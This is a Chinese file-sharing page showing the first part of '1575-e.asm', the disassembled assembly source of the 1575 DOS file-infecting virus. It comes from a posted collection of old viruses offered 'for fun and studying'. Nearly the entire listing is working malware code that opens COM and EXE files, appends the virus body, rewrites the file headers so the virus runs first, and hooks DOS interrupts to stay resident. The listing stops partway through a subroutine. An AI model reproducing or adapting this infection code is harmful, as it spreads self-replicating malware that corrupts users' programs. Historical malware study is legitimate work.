⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 1575-e.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:

PAGE  59,132

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        1575-E				         圹
;圹								         圹
;圹      Created:   23-May-92					         圹
;圹      Passes:    5	       Analysis Options on: none	         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

data_1e		equ	6
data_2e		equ	84h
data_3e		equ	86h
data_4e		equ	100h
data_10e	equ	31Fh
data_12e	equ	0			;*
data_13e	equ	3			;*
data_14e	equ	12h			;*
data_15e	equ	0
data_55e	equ	0FA0h
data_56e	equ	6B0h
data_57e	equ	725h

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

1575-e		proc	far

start:
		jmp	short loc_4
		db	90h
data_17		dw	0B2Bh, 103Eh
data_19		dw	0FF53h
data_20		dw	0F000h
data_21		db	0B4h
		db	2
data_22		dw	2AB2h
data_23		dw	21CDh
		db	0CDh, 20h
data_24		dw	0E5h
		db	 3Dh, 02h,0FFh,0FFh
data_25		dw	50Fh
data_26		dw	100h
                db       26h,0D9h
data_27		dw	100h
data_28		dw	50Fh
data_29		dw	480h
data_30		dw	0
data_31		dw	0
data_32		dw	53F0h
data_33		dw	5
data_34		dw	648Ch
data_35		dw	789Fh
data_36		dw	480h
data_37		dw	0BD1h
data_38		dw	1213h
data_39		dw	0EA2h
data_40		dw	5BFh
data_41		db	4Dh
data_42		db	31h
		db	 68h, 7Dh, 02h,0FBh, 07h
		db	 70h, 00h

loc_ret_2:
		retn
		db	0E2h, 00h
		db	0F0h,0FBh, 07h, 70h, 00h
loc_4:
		push	es
		push	ds
		mov	ax,es
		push	cs
		pop	ds
		push	cs
		pop	es
		mov	data_38,ax
		mov	ax,ss
		mov	data_33,ax
		std				; Set direction flag
		mov	ax,7076h
		cld				; Clear direction
		xor	ax,ax			; Zero register
		mov	ds,ax
		xor	si,si			; Zero register
		mov	di,offset data_42
		mov	cx,10h
		repne	movsb			; Rep zf=0+cx >0 Mov [si] to es:[di]
		push	ds
		pop	ss
		mov	bp,8
		xchg	bp,sp
		call	sub_2
		jmp	loc_27
loc_5:
		call	sub_13
		call	sub_3
		jz	loc_6			; Jump if zero
		mov	al,data_53
		push	ax
		call	sub_4
		pop	ax
		mov	data_53,al
		jmp	short loc_7
		db	90h
loc_6:
		call	sub_6
		call	sub_7
		cmp	byte ptr data_53,0
		jne	loc_7			; Jump if not equal
		mov	ax,4C00h
		int	21h			; DOS Services  ah=function 4Ch
						;  terminate with al=return code
loc_7:
		cmp	byte ptr data_53,43h	; 'C'
		jne	loc_10			; Jump if not equal
loc_8:
		pop	ds
		pop	es
		push	cs
		pop	ds
		pop	es
		push	es
		mov	di,data_4e
		mov	si,offset data_21
		mov	cx,0Ch
		repne	movsb			; Rep zf=0+cx >0 Mov [si] to es:[di]
		push	es
		pop	ds
		mov	ax,100h
		push	ax
		xor	ax,ax			; Zero register
		retf				; Return far

1575-e		endp

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_2		proc	near
		mov	si,data_1e
		lodsw				; String [si] to ax
		cmp	ax,192h
		je	loc_8			; Jump if equal
		cmp	ax,179h
		jne	loc_9			; Jump if not equal
		jmp	loc_12
loc_9:
		cmp	ax,1DCh
		je	loc_10			; Jump if equal
		retn
loc_10:
		pop	ds
		pop	es
		mov	bx,cs:data_25
		sub	bx,cs:data_36
		mov	ax,cs
		sub	ax,bx
		mov	ss,ax
		mov	bp,cs:data_37
		xchg	bp,sp
		mov	bx,cs:data_28
		sub	bx,cs:data_29
		mov	ax,cs
		sub	ax,bx
		push	ax
		mov	ax,cs:data_30
		push	ax
		retf				; Return far
data_43		db	23h
		db	1Ah
		db	'<#/--!.$'
		db	 0Eh, 23h, 2Fh, 2Dh,0E0h
data_44		db	'A:MIO.COM', 0
		db	 58h, 45h, 00h, 00h, 00h
		db	 24h, 24h, 24h, 24h, 24h

;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

sub_3:
		mov	ax,3D02h
		mov	dx,offset data_44	; ('A:MIO.COM')
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		jnc	loc_11			; Jump if carry=0
		clc				; Clear carry flag
		retn
loc_11:
		mov	data_33,ax
		mov	dx,offset int_24h_entry
		mov	ax,2524h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		mov	ax,4202h
		mov	bx,data_33
		mov	cx,0FFFFh
		mov	dx,0FFFEh
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	dx,offset data_45
		mov	ah,3Fh			; '?'
		mov	bx,data_33
		mov	cx,2
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		push	ds
		mov	dx,data_40
		mov	ax,data_39
		mov	ds,ax
		mov	ax,2524h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		pop	ds
		cmp	data_45,0A0Ch
		clc				; Clear carry flag
		retn
data_45		dw	20CDh
loc_12:
		cmp	ax,22Dh
		je	loc_13			; Jump if equal
		push	ds
		pop	es
		push	cs
		pop	ds
		mov	ax,data_33
		mov	ss,ax
		xchg	bp,sp
		mov	si,offset data_42
		mov	di,data_15e
		mov	cx,10h
		cld				; Clear direction
		repne	movsb			; Rep zf=0+cx >0 Mov [si] to es:[di]
		jmp	loc_5
sub_2		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_4		proc	near
loc_13:
		mov	al,43h			; 'C'
		mov	data_53,al
		mov	al,8
		out	70h,al			; port 70h, RTC addr/enabl NMI
						;  al = 8, month register
		in	al,71h			; port 71h, RTC clock/RAM data
		mov	data_41,al
		mov	dx,offset data_44	; ('A:MIO.COM')
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		jnc	loc_14			; Jump if carry=0
		retn
loc_14:
		mov	data_33,ax
		mov	dx,offset data_21
		mov	bx,data_33
		mov	cx,0Ch
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		push	ax
		add	ax,10h
		and	ax,0FFF0h
		push	ax
		shr	ax,1			; Shift w/zeros fill
		shr	ax,1			; Shift w/zeros fill
		shr	ax,1			; Shift w/zeros fill
		shr	ax,1			; Shift w/zeros fill
		mov	di,data_10e
		stosw				; Store ax to es:[di]
		pop	ax
		pop	bx
		sub	ax,bx
		mov	cx,627h
		add	cx,ax
		mov	dx,100h
		sub	dx,ax
		mov	bx,data_33
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	ax,4200h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	ah,40h			; '@'
		mov	bx,data_33
		mov	cx,0Ch
		mov	dx,offset data_46
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	ah,3Eh			; '>'
		mov	bx,data_33
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		retn
sub_4		endp

data_46		db	0Eh
		db	 8Ch,0C8h, 05h, 01h, 00h, 50h
		db	0B8h, 00h, 01h, 50h,0CBh

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_5		proc	near
		mov	al,45h			; 'E'
		mov	data_53,al
		mov	al,8
		out	70h,al			; port 70h, RTC addr/enabl NMI
						;  al = 8, month register
		in	al,71h			; port 71h, RTC clock/RAM data
		mov	data_41,al
		mov	dx,offset data_44	; ('A:MIO.COM')
		mov	ax,3D02h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		jnc	loc_15			; Jump if carry=0
		retn
loc_15:
		mov	data_33,ax
		mov	dx,offset data_21
		mov	bx,data_33
		mov	cx,18h
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		mov	ax,4202h
		mov	cx,0
		mov	dx,0
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		push	ax
		add	ax,10h
		adc	dx,0
		and	ax,0FFF0h
		mov	data_31,dx
		mov	data_32,ax
		mov	cx,727h
		sub	cx,100h
		add	ax,cx
		adc	dx,0
		mov	cx,200h
		div	cx			; ax,dx rem=dx:ax/reg
		inc	ax
		mov	data_23,ax
		mov	data_22,dx
		mov	ax,data_28
		mov	data_29,ax
		mov	ax,data_27
		mov	data_30,ax
		mov	ax,data_25
		mov	data_36,ax
		mov	ax,data_26
		mov	data_37,ax
		mov	dx,data_31
		mov	ax,data_32
		mov	cx,10h
		div	cx			; ax,dx rem=dx:ax/reg
		sub	ax,10h
		sub	ax,data_24
		mov	data_28,ax
		mov	data_25,ax
		mov	data_27,100h
		mov	data_26,100h
		mov	ax,4200h
		xor	cx,cx			; Zero register
		mov	dx,2
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	dx,offset data_22
		mov	bx,data_33
		mov	cx,16h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	dx,100h
		mov	ax,data_32
		pop	cx
		sub	ax,cx
		sub	dx,ax
		mov	cx,727h
		add	cx,ax
		sub	cx,100h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		retn
sub_5		endp

		push	cx
		mov	cx,0
		mov	ah,4Eh			; 'N'
		int	21h			; DOS Services  ah=function 4Eh
						;  find 1st filenam match @ds:dx
		pop	cx
		retn

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_6		proc	near
		push	es
		mov	ax,351Ch
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	cs:data_19,bx
		mov	cs:data_20,es
		mov	ax,3521h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		push	es
		pop	ax
		mov	word ptr cs:data_17+2,ax
		mov	cs:data_17,bx
		pop	es
		retn
sub_6		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_7		proc	near
		push	ax
		push	es
		push	ds
		xor	ax,ax			; Zero register
		mov	es,ax
		mov	si,data_3e
		mov	ax,es:[si]
		mov	ds,ax
		mov	si,data_57e
		cmp	word ptr [si],0A0Ch
		jne	loc_16			; Jump if not equal
		push	ds
		pop	ax
		call	sub_14
		pop	ds
		pop	es
		pop	ax
		retn
loc_16:
		push	cs
		pop	ds
		mov	ax,data_38
		dec	ax
		mov	es,ax
		cmp	byte ptr es:data_12e,5Ah	; 'Z'
		nop				;*ASM fixup - sign extn byte
		je	loc_17			; Jump if equal

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -